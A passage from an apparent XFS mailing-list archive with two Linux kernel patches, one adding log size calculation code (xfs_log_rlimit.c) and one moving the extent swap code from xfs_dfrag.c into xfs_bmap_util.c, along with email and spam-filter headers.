X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Add source files for xfs_log_rlimit.c The new file is used for log size calculations and validation shared with userspace. [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the tr_attrsetm reservation, just calculates the maximum. ] [dchinner: rework loop in xfs_log_get_max_trans_res() ] Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_log_format.h | 7 ++- fs/xfs/xfs_log_rlimit.c | 145 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 152 insertions(+), 1 deletion(-) create mode 100644 fs/xfs/xfs_log_rlimit.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index d6ccf57..0719e4d 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -79,6 +79,7 @@ xfs-y += xfs_alloc.o \ xfs_inode_fork.o \ xfs_inode_buf.o \ xfs_log_recover.o \ + xfs_log_rlimit.o \ xfs_sb.o \ xfs_symlink_remote.o \ xfs_trans_resv.o diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index cc08f59..a49ab2c 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -19,6 +19,7 @@ #define __XFS_LOG_FORMAT_H__ struct xfs_mount; +struct xfs_trans_res; /* * On-disk Log Format definitions. @@ -51,6 +52,9 @@ typedef __uint32_t xlog_tid_t; #define XLOG_HEADER_SIZE 512 +/* Minimum number of transactions that must fit in the log (defined by mkfs) */ +#define XFS_MIN_LOG_FACTOR 3 + #define XLOG_REC_SHIFT(log) \ BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) @@ -135,7 +139,6 @@ typedef struct xlog_op_header { __u16 oh_res2; /* 32 bit align : 2 b */ } xlog_op_header_t; - /* valid values for h_fmt */ #define XLOG_FMT_UNKNOWN 0 #define XLOG_FMT_LINUX_LE 1 @@ -837,5 +840,7 @@ struct xfs_icreate_log { }; int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); +int xfs_log_calc_minimum_size(struct xfs_mount *); + #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c new file mode 100644 index 0000000..e3f4b4e --- /dev/null +++ b/fs/xfs/xfs_log_rlimit.c @@ -0,0 +1,145 @@ +/* + * Copyright (c) 2013 Jie Liu. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_ag.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_trans_space.h" +#include "xfs_bmap_btree.h" +#include "xfs_inode.h" +#include "xfs_da_btree.h" +#include "xfs_attr_leaf.h" + +/* + * Calculate the maximum length in bytes that would be required for a local + * attribute value as large attributes out of line are not logged. + */ +STATIC int +xfs_log_calc_max_attrsetm_res( + struct xfs_mount *mp) +{ + int size; + int nblks; + + size = xfs_attr_leaf_entsize_local_max(mp->m_sb.sb_blocksize) - + MAXNAMELEN - 1; + nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); + nblks += XFS_B_TO_FSB(mp, size); + nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); + + return M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * nblks; +} + +/* + * Iterate over the log space reservation table to figure out and return + * the maximum one in terms of the pre-calculated values which were done + * at mount time. + */ +STATIC void +xfs_log_get_max_trans_res( + struct xfs_mount *mp, + struct xfs_trans_res *max_resp) +{ + struct xfs_trans_res *resp; + struct xfs_trans_res *end_resp; + int log_space = 0; + int attr_space; + + attr_space = xfs_log_calc_max_attrsetm_res(mp); + + resp = (struct xfs_trans_res *)M_RES(mp); + end_resp = (struct xfs_trans_res *)(M_RES(mp) + 1); + for (; resp < end_resp; resp++) { + int tmp = resp->tr_logcount > 1 ? + resp->tr_logres * resp->tr_logcount : + resp->tr_logres; + if (log_space < tmp) { + log_space = tmp; + *max_resp = *resp; /* struct copy */ + } + } + + if (attr_space > log_space) { + *max_resp = M_RES(mp)->tr_attrsetm; /* struct copy */ + max_resp->tr_logres = attr_space; + } +} + +/* + * Calculate the minimum valid log size for the given superblock configuration. + * Used to calculate the minimum log size at mkfs time, and to determine if + * the log is large enough or not at mount time. Returns the minimum size in + * filesystem block size units. + */ +int +xfs_log_calc_minimum_size( + struct xfs_mount *mp) +{ + struct xfs_trans_res tres = {0}; + int max_logres; + int min_logblks = 0; + int lsunit = 0; + + xfs_log_get_max_trans_res(mp, &tres); + + max_logres = xfs_log_calc_unit_res(mp, tres.tr_logres); + if (tres.tr_logcount > 1) + max_logres *= tres.tr_logcount; + + if (xfs_sb_version_haslogv2(&mp->m_sb) && mp->m_sb.sb_logsunit > 1) + lsunit = BTOBB(mp->m_sb.sb_logsunit); + + /* + * Two factors should be taken into account for calculating the minimum + * log space. + * 1) The fundamental limitation is that no single transaction can be + * larger than half size of the log. + * + * From mkfs.xfs, this is considered by the XFS_MIN_LOG_FACTOR + * define, which is set to 3. That means we can definitely fit + * maximally sized 2 transactions in the log. We'll use this same + * value here. + * + * 2) If the lsunit option is specified, a transaction requires 2 LSU + * for the reservation because there are two log writes that can + * require padding - the transaction data and the commit record which + * are written separately and both can require padding to the LSU. + * Consider that we can have an active CIL reservation holding 2*LSU, + * but the CIL is not over a push threshold, in this case, if we + * don't have enough log space for at one new transaction, which + * includes another 2*LSU in the reservation, we will run into dead + * loop situation in log space grant procedure. i.e. + * xlog_grant_head_wait(). + * + * Hence the log size needs to be able to contain two maximally sized + * and padded transactions, which is (2 * (2 * LSU + maxlres)). + * + * Also, the log size should be a multiple of the log stripe unit, round + * it up to lsunit boundary if lsunit is specified. + */ + if (lsunit) + min_logblks = roundup(BTOBB(max_logres), lsunit) + 2 * lsunit; + else + min_logblks = BTOBB(max_logres); + min_logblks *= XFS_MIN_LOG_FACTOR; + return XFS_BB_TO_FSB(mp, min_logblks); +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9209F7FAC for ; Fri, 19 Jul 2013 01:25:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B6AA304043 for ; Thu, 18 Jul 2013 23:25:59 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c03000d-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ETX6LCgZbH5HI7WS for ; Thu, 18 Jul 2013 23:25:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsALAB3b6FF5LK4r/2dsb2JhbABOBAiDBq46kwwEAYEVF3SCJAEBBRoBAgovMwgYMTkDGxcCiA+2L45JEBmBEoQOA6kqgyQqBIEoJA Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:43 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048c-2t for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001yn-1r for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 27/49] xfs: consolidate extent swap code Date: Fri, 19 Jul 2013 16:24:58 +1000 X-ASG-Orig-Subj: [PATCH 27/49] xfs: consolidate extent swap code Message-Id: <1374215120-7271-28-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215154 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_VPILL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam From: Dave Chinner So we don't need xfs_dfrag.h in userspace anymore, move the extent swap ioctl structure definition to xfs_fs.h where most of the other ioctl structure definitions are. Now that we don't need separate files for extent swapping, separate the basic file descriptor checking code to xfs_ioctl.c, and the code that does the extent swap operation to xfs_bmap_util.c. This cleanly separates the user interface code from the physical mechanism used to do the extent swap. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 - fs/xfs/xfs_bmap_util.c | 343 ++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 3 + fs/xfs/xfs_dfrag.c | 459 ------------------------------------------------- fs/xfs/xfs_dfrag.h | 53 ------ fs/xfs/xfs_fs.h | 15 ++ fs/xfs/xfs_ioctl.c | 72 +++++++- fs/xfs/xfs_ioctl.h | 4 + fs/xfs/xfs_ioctl32.c | 3 +- 9 files changed, 436 insertions(+), 517 deletions(-) delete mode 100644 fs/xfs/xfs_dfrag.c delete mode 100644 fs/xfs/xfs_dfrag.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 201c61d..d6ccf57 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -32,7 +32,6 @@ xfs-y += xfs_aops.o \ xfs_bit.o \ xfs_bmap_util.o \ xfs_buf.o \ - xfs_dfrag.o \ xfs_dir2_readdir.o \ xfs_discard.o \ xfs_error.o \ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index f557022..b5232d0 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1693,3 +1693,346 @@ xfs_change_file_space( xfs_trans_set_sync(tp); return xfs_trans_commit(tp, 0); } + +/* + * We need to check that the format of the data fork in the temporary inode is + * valid for the target inode before doing the swap. This is not a problem with + * attr1 because of the fixed fork offset, but attr2 has a dynamically sized + * data fork depending on the space the attribute fork is taking so we can get + * invalid formats on the target inode. + * + * E.g. target has space for 7 extents in extent format, temp inode only has + * space for 6. If we defragment down to 7 extents, then the tmp format is a + * btree, but when swapped it needs to be in extent format. Hence we can't just + * blindly swap data forks on attr2 filesystems. + * + * Note that we check the swap in both directions so that we don't end up with + * a corrupt temporary inode, either. + * + * Note that fixing the way xfs_fsr sets up the attribute fork in the source + * inode will prevent this situation from occurring, so all we do here is + * reject and log the attempt. basically we are putting the responsibility on + * userspace to get this right. + */ +static int +xfs_swap_extents_check_format( + xfs_inode_t *ip, /* target inode */ + xfs_inode_t *tip) /* tmp inode */ +{ + + /* Should never get a local format */ + if (ip->i_d.di_format == XFS_DINODE_FMT_LOCAL || + tip->i_d.di_format == XFS_DINODE_FMT_LOCAL) + return EINVAL; + + /* + * if the target inode has less extents that then temporary inode then + * why did userspace call us? + */ + if (ip->i_d.di_nextents < tip->i_d.di_nextents) + return EINVAL; + + /* + * if the target inode is in extent form and the temp inode is in btree + * form then we will end up with the target inode in the wrong format + * as we already know there are less extents in the temp inode. + */ + if (ip->i_d.di_format == XFS_DINODE_FMT_EXTENTS && + tip->i_d.di_format == XFS_DINODE_FMT_BTREE) + return EINVAL; + + /* Check temp in extent form to max in target */ + if (tip->i_d.di_format == XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_NEXTENTS(tip, XFS_DATA_FORK) > + XFS_IFORK_MAXEXT(ip, XFS_DATA_FORK)) + return EINVAL; + + /* Check target in extent form to max in temp */ + if (ip->i_d.di_format == XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK) > + XFS_IFORK_MAXEXT(tip, XFS_DATA_FORK)) + return EINVAL; + + /* + * If we are in a btree format, check that the temp root block will fit + * in the target and that it has enough extents to be in btree format + * in the target. + * + * Note that we have to be careful to allow btree->extent conversions + * (a common defrag case) which will occur when the temp inode is in + * extent format... + */ + if (tip->i_d.di_format == XFS_DINODE_FMT_BTREE) { + if (XFS_IFORK_BOFF(ip) && + XFS_BMAP_BMDR_SPACE(tip->i_df.if_broot) > XFS_IFORK_BOFF(ip)) + return EINVAL; + if (XFS_IFORK_NEXTENTS(tip, XFS_DATA_FORK) <= + XFS_IFORK_MAXEXT(ip, XFS_DATA_FORK)) + return EINVAL; + } + + /* Reciprocal target->temp btree format checks */ + if (ip->i_d.di_format == XFS_DINODE_FMT_BTREE) { + if (XFS_IFORK_BOFF(tip) && + XFS_BMAP_BMDR_SPACE(ip->i_df.if_broot) > XFS_IFORK_BOFF(tip)) + return EINVAL; + if (XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK) <= + XFS_IFORK_MAXEXT(tip, XFS_DATA_FORK)) + return EINVAL; + } + + return 0; +} + +int +xfs_swap_extents( + xfs_inode_t *ip, /* target inode */ + xfs_inode_t *tip, /* tmp inode */ + xfs_swapext_t *sxp) +{ + xfs_mount_t *mp = ip->i_mount; + xfs_trans_t *tp; + xfs_bstat_t *sbp = &sxp->sx_stat; + xfs_ifork_t *tempifp, *ifp, *tifp; + int src_log_flags, target_log_flags; + int error = 0; + int aforkblks = 0; + int taforkblks = 0; + __uint64_t tmp; + + /* + * We have no way of updating owner information in the BMBT blocks for + * each inode on CRC enabled filesystems, so to avoid corrupting the + * this metadata we simply don't allow extent swaps to occur. + */ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return XFS_ERROR(EINVAL); + + tempifp = kmem_alloc(sizeof(xfs_ifork_t), KM_MAYFAIL); + if (!tempifp) { + error = XFS_ERROR(ENOMEM); + goto out; + } + + /* + * we have to do two separate lock calls here to keep lockdep + * happy. If we try to get all the locks in one call, lock will + * report false positives when we drop the ILOCK and regain them + * below. + */ + xfs_lock_two_inodes(ip, tip, XFS_IOLOCK_EXCL); + xfs_lock_two_inodes(ip, tip, XFS_ILOCK_EXCL); + + /* Verify that both files have the same format */ + if ((ip->i_d.di_mode & S_IFMT) != (tip->i_d.di_mode & S_IFMT)) { + error = XFS_ERROR(EINVAL); + goto out_unlock; + } + + /* Verify both files are either real-time or non-realtime */ + if (XFS_IS_REALTIME_INODE(ip) != XFS_IS_REALTIME_INODE(tip)) { + error = XFS_ERROR(EINVAL); + goto out_unlock; + } + + error = -filemap_write_and_wait(VFS_I(tip)->i_mapping); + if (error) + goto out_unlock; + truncate_pagecache_range(VFS_I(tip), 0, -1); + + /* Verify O_DIRECT for ftmp */ + if (VN_CACHED(VFS_I(tip)) != 0) { + error = XFS_ERROR(EINVAL); + goto out_unlock; + } + + /* Verify all data are being swapped */ + if (sxp->sx_offset != 0 || + sxp->sx_length != ip->i_d.di_size || + sxp->sx_length != tip->i_d.di_size) { + error = XFS_ERROR(EFAULT); + goto out_unlock; + } + + trace_xfs_swap_extent_before(ip, 0); + trace_xfs_swap_extent_before(tip, 1); + + /* check inode formats now that data is flushed */ + error = xfs_swap_extents_check_format(ip, tip); + if (error) { + xfs_notice(mp, + "%s: inode 0x%llx format is incompatible for exchanging.", + __func__, ip->i_ino); + goto out_unlock; + } + + /* + * Compare the current change & modify times with that + * passed in. If they differ, we abort this swap. + * This is the mechanism used to ensure the calling + * process that the file was not changed out from + * under it. + */ + if ((sbp->bs_ctime.tv_sec != VFS_I(ip)->i_ctime.tv_sec) || + (sbp->bs_ctime.tv_nsec != VFS_I(ip)->i_ctime.tv_nsec) || + (sbp->bs_mtime.tv_sec != VFS_I(ip)->i_mtime.tv_sec) || + (sbp->bs_mtime.tv_nsec != VFS_I(ip)->i_mtime.tv_nsec)) { + error = XFS_ERROR(EBUSY); + goto out_unlock; + } + + /* We need to fail if the file is memory mapped. Once we have tossed + * all existing pages, the page fault will have no option + * but to go to the filesystem for pages. By making the page fault call + * vop_read (or write in the case of autogrow) they block on the iolock + * until we have switched the extents. + */ + if (VN_MAPPED(VFS_I(ip))) { + error = XFS_ERROR(EBUSY); + goto out_unlock; + } + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + xfs_iunlock(tip, XFS_ILOCK_EXCL); + + /* + * There is a race condition here since we gave up the + * ilock. However, the data fork will not change since + * we have the iolock (locked for truncation too) so we + * are safe. We don't really care if non-io related + * fields change. + */ + truncate_pagecache_range(VFS_I(ip), 0, -1); + + tp = xfs_trans_alloc(mp, XFS_TRANS_SWAPEXT); + if ((error = xfs_trans_reserve(tp, 0, + XFS_ICHANGE_LOG_RES(mp), 0, + 0, 0))) { + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + xfs_iunlock(tip, XFS_IOLOCK_EXCL); + xfs_trans_cancel(tp, 0); + goto out; + } + xfs_lock_two_inodes(ip, tip, XFS_ILOCK_EXCL); + + /* + * Count the number of extended attribute blocks + */ + if ( ((XFS_IFORK_Q(ip) != 0) && (ip->i_d.di_anextents > 0)) && + (ip->i_d.di_aformat != XFS_DINODE_FMT_LOCAL)) { + error = xfs_bmap_count_blocks(tp, ip, XFS_ATTR_FORK, &aforkblks); + if (error) + goto out_trans_cancel; + } + if ( ((XFS_IFORK_Q(tip) != 0) && (tip->i_d.di_anextents > 0)) && + (tip->i_d.di_aformat != XFS_DINODE_FMT_LOCAL)) { + error = xfs_bmap_count_blocks(tp, tip, XFS_ATTR_FORK, + &taforkblks); + if (error) + goto out_trans_cancel; + } + + /* + * Swap the data forks of the inodes + */ + ifp = &ip->i_df; + tifp = &tip->i_df; + *tempifp = *ifp; /* struct copy */ + *ifp = *tifp; /* struct copy */ + *tifp = *tempifp; /* struct copy */ + + /* + * Fix the on-disk inode values + */ + tmp = (__uint64_t)ip->i_d.di_nblocks; + ip->i_d.di_nblocks = tip->i_d.di_nblocks - taforkblks + aforkblks; + tip->i_d.di_nblocks = tmp + taforkblks - aforkblks; + + tmp = (__uint64_t) ip->i_d.di_nextents; + ip->i_d.di_nextents = tip->i_d.di_nextents; + tip->i_d.di_nextents = tmp; + + tmp = (__uint64_t) ip->i_d.di_format; + ip->i_d.di_format = tip->i_d.di_format; + tip->i_d.di_format = tmp; + + /* + * The extents in the source inode could still contain speculative + * preallocation beyond EOF (e.g. the file is open but not modified + * while defrag is in progress). In that case, we need to copy over the + * number of delalloc blocks the data fork in the source inode is + * tracking beyond EOF so that when the fork is truncated away when the + * temporary inode is unlinked we don't underrun the i_delayed_blks + * counter on that inode. + */ + ASSERT(tip->i_delayed_blks == 0); + tip->i_delayed_blks = ip->i_delayed_blks; + ip->i_delayed_blks = 0; + + src_log_flags = XFS_ILOG_CORE; + switch (ip->i_d.di_format) { + case XFS_DINODE_FMT_EXTENTS: + /* If the extents fit in the inode, fix the + * pointer. Otherwise it's already NULL or + * pointing to the extent. + */ + if (ip->i_d.di_nextents <= XFS_INLINE_EXTS) { + ifp->if_u1.if_extents = + ifp->if_u2.if_inline_ext; + } + src_log_flags |= XFS_ILOG_DEXT; + break; + case XFS_DINODE_FMT_BTREE: + src_log_flags |= XFS_ILOG_DBROOT; + break; + } + + target_log_flags = XFS_ILOG_CORE; + switch (tip->i_d.di_format) { + case XFS_DINODE_FMT_EXTENTS: + /* If the extents fit in the inode, fix the + * pointer. Otherwise it's already NULL or + * pointing to the extent. + */ + if (tip->i_d.di_nextents <= XFS_INLINE_EXTS) { + tifp->if_u1.if_extents = + tifp->if_u2.if_inline_ext; + } + target_log_flags |= XFS_ILOG_DEXT; + break; + case XFS_DINODE_FMT_BTREE: + target_log_flags |= XFS_ILOG_DBROOT; + break; + } + + + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); + xfs_trans_ijoin(tp, tip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); + + xfs_trans_log_inode(tp, ip, src_log_flags); + xfs_trans_log_inode(tp, tip, target_log_flags); + + /* + * If this is a synchronous mount, make sure that the + * transaction goes to disk before returning to the user. + */ + if (mp->m_flags & XFS_MOUNT_WSYNC) + xfs_trans_set_sync(tp); + + error = xfs_trans_commit(tp, 0); + + trace_xfs_swap_extent_after(ip, 0); + trace_xfs_swap_extent_after(tip, 1); +out: + kmem_free(tempifp); + return error; + +out_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); + xfs_iunlock(tip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); + goto out; + +out_trans_cancel: + xfs_trans_cancel(tp, 0); + goto out_unlock; +} diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index a6d2077..0612609 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -102,6 +102,9 @@ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); int xfs_free_eofblocks(struct xfs_mount *mp, struct xfs_inode *ip, bool need_iolock); +int xfs_swap_extents(struct xfs_inode *ip, struct xfs_inode *tip, + struct xfs_swapext *sx); + xfs_daddr_t xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb); #endif /* __XFS_BMAP_UTIL_H__ */ diff --git a/fs/xfs/xfs_dfrag.c b/fs/xfs/xfs_dfrag.c deleted file mode 100644 index b83d45f..0000000 --- a/fs/xfs/xfs_dfrag.c +++ /dev/null @@ -1,459 +0,0 @@ -/* - * Copyright (c) 2000-2006 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#include "xfs.h" -#include "xfs_fs.h" -#include "xfs_types.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_sb.h" -#include "xfs_ag.h" -#include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_btree.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" -#include "xfs_inode_item.h" -#include "xfs_bmap.h" -#include "xfs_bmap_util.h" -#include "xfs_itable.h" -#include "xfs_dfrag.h" -#include "xfs_error.h" -#include "xfs_trace.h" - - -static int xfs_swap_extents( - xfs_inode_t *ip, /* target inode */ - xfs_inode_t *tip, /* tmp inode */ - xfs_swapext_t *sxp); - -/* - * ioctl interface for swapext - */ -int -xfs_swapext( - xfs_swapext_t *sxp) -{ - xfs_inode_t *ip, *tip; - struct fd f, tmp; - int error = 0; - - /* Pull information for the target fd */ - f = fdget((int)sxp->sx_fdtarget); - if (!f.file) { - error = XFS_ERROR(EINVAL); - goto out; - } - - if (!(f.file->f_mode & FMODE_WRITE) || - !(f.file->f_mode & FMODE_READ) || - (f.file->f_flags & O_APPEND)) { - error = XFS_ERROR(EBADF); - goto out_put_file; - } - - tmp = fdget((int)sxp->sx_fdtmp); - if (!tmp.file) { - error = XFS_ERROR(EINVAL); - goto out_put_file; - } - - if (!(tmp.file->f_mode & FMODE_WRITE) || - !(tmp.file->f_mode & FMODE_READ) || - (tmp.file->f_flags & O_APPEND)) { - error = XFS_ERROR(EBADF); - goto out_put_tmp_file; - } - - if (IS_SWAPFILE(file_inode(f.file)) || - IS_SWAPFILE(file_inode(tmp.file))) { - error = XFS_ERROR(EINVAL); - goto out_put_tmp_file; - } - - ip = XFS_I(file_inode(f.file)); - tip = XFS_I(file_inode(tmp.file)); - - if (ip->i_mount != tip->i_mount) { - error = XFS_ERROR(EINVAL); - goto out_put_tmp_file; - } - - if (ip->i_ino == tip->i_ino) { - error = XFS_ERROR(EINVAL); - goto out_put_tmp_file; - } - - if (XFS_FORCED_SHUTDOWN(ip->i_mount)) { - error = XFS_ERROR(EIO); - goto out_put_tmp_file; - } - - error = xfs_swap_extents(ip, tip, sxp); - - out_put_tmp_file: - fdput(tmp); - out_put_file: - fdput(f); - out: - return error; -} - -/* - * We need to check that the format of the data fork in the temporary inode is - * valid for the target inode before doing the swap. This is not a problem with - * attr1 because of the fixed fork offset, but attr2 has a dynamically sized - * data fork depending on the space the attribute fork is taking so we can get - * invalid formats on the target inode. - * - * E.g. target has space for 7 extents in extent format, temp inode only has - * space for 6. If we defragment down to 7 extents, then the tmp format is a - * btree, but when swapped it needs to be in extent format. Hence we can't just - * blindly swap data forks on attr2 filesystems. - * - * Note that we check the swap in both directions so that we don't end up with - * a corrupt temporary inode, either. - * - * Note that fixing the way xfs_fsr sets up the attribute fork in the source - * inode will prevent this situation from occurring, so all we do here is - * reject and log the attempt. basically we are putting the responsibility on - * userspace to get this right. - */ -static int -xfs_swap_extents_check_format( - xfs_inode_t *ip, /* target inode */ - xfs_inode_t *tip) /* tmp inode */ -{ - - /* Should never get a local format */ - if (ip->i_d.di_format == XFS_DINODE_FMT_LOCAL || - tip->i_d.di_format == XFS_DINODE_FMT_LOCAL) - return EINVAL; - - /* - * if the target inode has less extents that then temporary inode then - * why did userspace call us? - */ - if (ip->i_d.di_nextents < tip->i_d.di_nextents) - return EINVAL; - - /* - * if the target inode is in extent form and the temp inode is in btree - * form then we will end up with the target inode in the wrong format - * as we already know there are less extents in the temp inode. - */ - if (ip->i_d.di_format == XFS_DINODE_FMT_EXTENTS && - tip->i_d.di_format == XFS_DINODE_FMT_BTREE) - return EINVAL; - - /* Check temp in extent form to max in target */ - if (tip->i_d.di_format == XFS_DINODE_FMT_EXTENTS && - XFS_IFORK_NEXTENTS(tip, XFS_DATA_FORK) > - XFS_IFORK_MAXEXT(ip, XFS_DATA_FORK)) - return EINVAL; - - /* Check target in extent form to max in temp */ - if (ip->i_d.di_format == XFS_DINODE_FMT_EXTENTS && - XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK) > - XFS_IFORK_MAXEXT(tip, XFS_DATA_FORK)) - return EINVAL; - - /* - * If we are in a btree format, check that the temp root block will fit - * in the target and that it has enough extents to be in btree format - * in the target. - * - * Note that we have to be careful to allow btree->extent conversions - * (a common defrag case) which will occur when the temp inode is in - * extent format... - */ - if (tip->i_d.di_format == XFS_DINODE_FMT_BTREE) { - if (XFS_IFORK_BOFF(ip) && - XFS_BMAP_BMDR_SPACE(tip->i_df.if_broot) > XFS_IFORK_BOFF(ip)) - return EINVAL; - if (XFS_IFORK_NEXTENTS(tip, XFS_DATA_FORK) <= - XFS_IFORK_MAXEXT(ip, XFS_DATA_FORK)) - return EINVAL; - } - - /* Reciprocal target->temp btree format checks */ - if (ip->i_d.di_format == XFS_DINODE_FMT_BTREE) { - if (XFS_IFORK_BOFF(tip) && - XFS_BMAP_BMDR_SPACE(ip->i_df.if_broot) > XFS_IFORK_BOFF(tip)) - return EINVAL; - if (XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK) <= - XFS_IFORK_MAXEXT(tip, XFS_DATA_FORK)) - return EINVAL; - } - - return 0; -} - -static int -xfs_swap_extents( - xfs_inode_t *ip, /* target inode */ - xfs_inode_t *tip, /* tmp inode */ - xfs_swapext_t *sxp) -{ - xfs_mount_t *mp = ip->i_mount; - xfs_trans_t *tp; - xfs_bstat_t *sbp = &sxp->sx_stat; - xfs_ifork_t *tempifp, *ifp, *tifp; - int src_log_flags, target_log_flags; - int error = 0; - int aforkblks = 0; - int taforkblks = 0; - __uint64_t tmp; - - /* - * We have no way of updating owner information in the BMBT blocks for - * each inode on CRC enabled filesystems, so to avoid corrupting the - * this metadata we simply don't allow extent swaps to occur. - */ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return XFS_ERROR(EINVAL); - - tempifp = kmem_alloc(sizeof(xfs_ifork_t), KM_MAYFAIL); - if (!tempifp) { - error = XFS_ERROR(ENOMEM); - goto out; - } - - /* - * we have to do two separate lock calls here to keep lockdep - * happy. If we try to get all the locks in one call, lock will - * report false positives when we drop the ILOCK and regain them - * below. - */ - xfs_lock_two_inodes(ip, tip, XFS_IOLOCK_EXCL); - xfs_lock_two_inodes(ip, tip, XFS_ILOCK_EXCL); - - /* Verify that both 